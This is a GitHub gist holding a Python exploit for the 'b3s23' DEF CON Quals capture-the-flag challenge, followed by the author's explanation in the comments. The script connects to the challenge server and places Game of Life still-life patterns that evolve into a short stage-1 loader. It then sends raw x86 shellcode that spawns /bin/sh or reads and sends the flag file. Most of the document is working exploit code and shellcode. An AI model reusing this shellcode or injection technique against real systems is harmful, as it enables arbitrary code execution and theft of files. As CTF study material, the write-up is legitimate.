Skip to content

Instantly share code, notes, and snippets.

@zTrix
Last active June 18, 2016 06:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zTrix/bf572e0be977d4c2aced61541cc3a9d7 to your computer and use it in GitHub Desktop.
Save zTrix/bf572e0be977d4c2aced61541cc3a9d7 to your computer and use it in GitHub Desktop.
b3s23
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
import os, sys
# https://github.com/zTrix/zio
from zio import *
nop = [(0,0), (3, 0), (0, 1), (1, 1), (2, 1), (3, 1), (0, 3), (1, 3), (0, 4), (1, 4)]
nop2 = [(0,0), (3, 0), (0, 1), (1, 1), (2, 1), (3, 1), (2, 3), (3, 3), (2, 4), (3, 4)]
inc_eax = [(1, 0), (0, 1), (2, 1), (1, 2)]
inc_eax2 = [(1, 0), (0, 1), (2, 1), (0,2), (2,2), (1, 3)]
# 0x53
push_ebx = [(1, 0), (3, 0), (0, 1), (2, 1), (3, 1), (0, 2), (0, 3), (-1, 3), (6, 0), (7, 0), (6, 1), (7, 1)]
# 0x51
push_ecx = [(1, 0), (3, 0), (1, 1), (2, 1), (4, 1), (4, 2), (4, 3), (5, 3), (7, 0), (7, 1), (8, 1), (9, 1), (10, 2), (9, 3), (11, 3), (11, 4), (10, 4)]
# 0x51 0x6a 0x3c
push_ecx_push_num = [(1, 0), (3, 0), (1, 1), (2, 1), (4, 1), (4, 2), (4, 3), (5, 3), (7,0), (9,0), (10,0), (7,1),(8,1),(10,1),(12,0),(14,0),(12,1),(13,1),(15,1),(15,2),(15,3),(16,3),(18,0),(19,0),(20,0),(21,0),(18,1),(19,2),(20,2),(21,1)]
# push_es = [(5, 0), (6, 0), (5, 1), (6, 1)]
# pop_es = [(5, 0), (6, 0), (7, 0), (4, 1), (7, 1), (5, 2), (6, 2)]
# pop_es_nop = []
push_num = [(1, 0), (2,0), (1, 1), (2, 1), (4,0), (6,0), (4,1), (5,1), (7,1), (7,2), (7,3), (8,3), (10,0), (11,0), (12,0), (13,0), (10, 1), (11,2), (12,2), (13,1)]
pop_edx = [(1,0), (3,0), (4,0), (6,0), (1,1), (2,1), (4,1), (6,1), (7,1), (8,1), (9, 2), (8, 3), (9, 3)]
# 0x5a 0x5b
pop_edx_pop_ebx = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (6,0), (9,0), (6,1), (7,1), (8,1), (9,1), (8,3), (9,3), (8,4), (9,4), (11,0),(12,0),(11,1),(12,1),(11,3),(12,3),(11,4),(12,4),(14,0),(15,0),(14,1),(15,1),(14,3),(15,3),(14,4),(15,4)]
# 0x59 0xcd 0x80
pop_ecx_int_80 = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (1,3), (2,3), (4,3), (1,4), (3,4), (4,4), (7,0),(8,0),(7,1),(8,1),(11,0),(12,0),(11,1),(12,1), (16,0),(17,0),(16,1),(17,1),(20,0),(21,0),(20,1),(21,1),(23,0),(24,0),(23,1),(24,1)]
pop_ecx_int_80_half = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (1,3), (2,3), (4,3), (1,4), (3,4), (4,4), (7,0),(8,0),(7,1),(8,1),(11,0),(12,0),(11,1),(12,1), (16,0),(17,0),(16,1),(17,1),(20,0),(21,0),(20,1),(21,1)]
def put(base, block):
ret = []
for i in block:
ret.append((i[0] + base[0], i[1] + base[1]))
return ret
# final = []
#
# # final += put((0,0), nop)
# final += put((0,0), inc_eax)
# final += put((8,0), inc_eax)
# final += put((16,0), inc_eax)
# final += put((24,0), push_ebx)
# final += put((32,0), push_ecx)
# final += put((40,0), push_es)
# final += put((48,0), pop_es)
# final += put((56,0), push_num)
# # final += put((72,0), pop_edx)
# final += put((72,0), pop_edx_pop_ebx)
# final += put((88,0), pop_ecx_int_80)
final = []
# final += put((0,0), nop)
final += put((0,0), inc_eax2)
final += put((8,0), inc_eax2)
final += put((16,0), inc_eax2)
final += put((24,0), push_ebx)
final += put((32,0), push_ecx_push_num)
final += put((56,0), pop_edx_pop_ebx)
final += put((72,0), pop_ecx_int_80)
#for i in final[::-1]:
# print '%d,%d' % (i[0], i[1])
target = ('b3s23_28f1ea914f8c873d232da030d4dd00e8.quals.shallweplayaga.me', 2323)
# target = ('127.0.0.1', 2323)
io = zio(target, print_read=RAW, print_write=COLORED(REPR, 'yellow'), timeout=10000)
io.read_until('run.')
# io.gdb_hint()
for i in final[::-1]:
io.writeline('%d,%d' % (i[0], i[1]))
io.writeline('a')
import time
time.sleep(1)
shellcode = 'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\xcd\x80\xeb\xfe'
shellcode = 'j\x01\xfe\x0c$hflag\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc1h\xff\xff\xff\x7f^1\xc0\xb0\xbb\x99\xcd\x80'
shellcode = 'j\x01\xfe\x0c$hflagj\x05X\x89\xe31\xc9\x99\xcd\x80\x89\xc11\xc0\xb0\xbbj\x01[h\xff\xff\xff\x7f^\x99\xcd\x80'
# shellcode = 'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\x90\x90\xeb\xfe'
# shellcode = '\xeb\xfe'
io.writeline(shellcode.rjust(0x3c, '\x90'))
io.interact()
@Rumata888
Copy link

Could you explain how you got his idea?

@zTrix
Copy link
Author

zTrix commented May 29, 2016

The basic idea is to construct a stage1 shellcode as short as possible, after watching the register values before execution of shellcode, we found that ebx has a pointer value to the shellcode area.

So if the shellcode does sth like sys_read(0, pointer, size) to overwrite the shellcode buffer, then we can execute our stage 2 shellcode.

Stage 1 shellcode is written roughly like this (should be short enough to put in the first line):

push 0x3d
pop edx
inc eax
inc eax
inc eax
push ebx
push ecx
pop ebx
pop ecx
int 80

So we need to construct a game of life initial value that after 13 rounds of evolution, contains this shellcode in the first line. We tried searching algorithms, but turned out to be hard to search for 13 rounds. So we turned to still life, aiming to construct a still life initial value that no matter how many rounds of evolution, the state never change.

There are a list of common still lifes here: http://www.conwaylife.com/wiki/List_of_common_still_lifes

We reordered the shellcode instructions to fulfill layout requirement, and finally construct the initial value, as shown in the gist python script.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment